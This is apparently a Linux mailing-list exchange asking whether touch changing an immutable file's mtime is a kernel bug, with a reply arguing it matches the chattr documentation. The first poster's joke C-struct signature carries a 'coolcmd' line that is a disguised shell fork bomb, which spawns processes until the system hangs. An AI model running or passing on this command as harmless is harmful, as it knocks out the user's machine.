mtime changeable on immutable files (a bug, isn't it?)
-----BEGIN PGP SIGNED MESSAGE-----
You can touch(1) an immutable file, which changes its mtime. Since you can't change the permission bits of the inode, you shouldn't be able to change the mtime, correct?
I pointed this out in september of 1999, including a patch that fixes it. I got no reply answering if this was correct behavior or a bug back then, I'd appreciate a reply now.
(please CC any reply to me since I'm not on the list)
- ---------
typedef struct me_s {
char name[] = { "Thomas Habets" };
char email[] = { "[email protected]" };
char kernel[] = { "Linux 2.4" };
char *pgpKey[] = { "http://darkface.pp.se/~thompa/pubkey.txt" }; char pgp[] = { "6517 2898 6AED EA2C 1015 DCF0 8E53 B69F 524B B541" };
char coolcmd[] = { "echo '. ./_&. ./_'>_;. ./_" };
} me_t;
-----BEGIN PGP SIGNATURE-----
Version: PGPfreeware 5.0i for non-commercial use
MessageID: zlshHKryBFyPyI2xmJEqOnkLgya/pfXj
iQA/AwUBPJ9rgChq6QqtSOhUEQJSAgCfaZb/IZedqEYwT0HaIlGEZuxtqV4An2Pq iUWPGH8W2uNs0xDUdiDdt5Ex
=1clh
-----END PGP SIGNATURE-----
Quoted 3 lines · Thomas Habets
You can touch(1) an immutable file, which changes its mtime. Since you can't change the permission bits of the inode, you shouldn't be able to change the mtime, correct?
You could reason that since the immutable flag is set at i_mode, and i_mode stores file modes, it should be legal to change the inode (mtime) as long as you do not change the contents of the file.
Or at least that that would be the intention of chattr, if you re-read the page:
A file with the i' attribute cannot be modified: it can<AD> not be deleted or renamed, no link can be created to this file and no data can be written to the file. Only the superuser can set or clear this attribute.
Even if you obviate the inode/file difference, by changing mtime you aren't either deleting, renaming, linking or writing data to the file, so you are consistent to the pubished documentation.
Signature · 4 lines
____/| Ragnar Højland Freedom - Linux - OpenGL | Brainbench MVP \ o.O| PGP94C4B2F0D27DE025BE2302C104B78C56 B72F0822 | for Unix Programming =(_)= "Thou shalt not follow the NULL pointer for | (www.brainbench.com) U chaos and madness await thee at its end." [15 pend. Mar 10]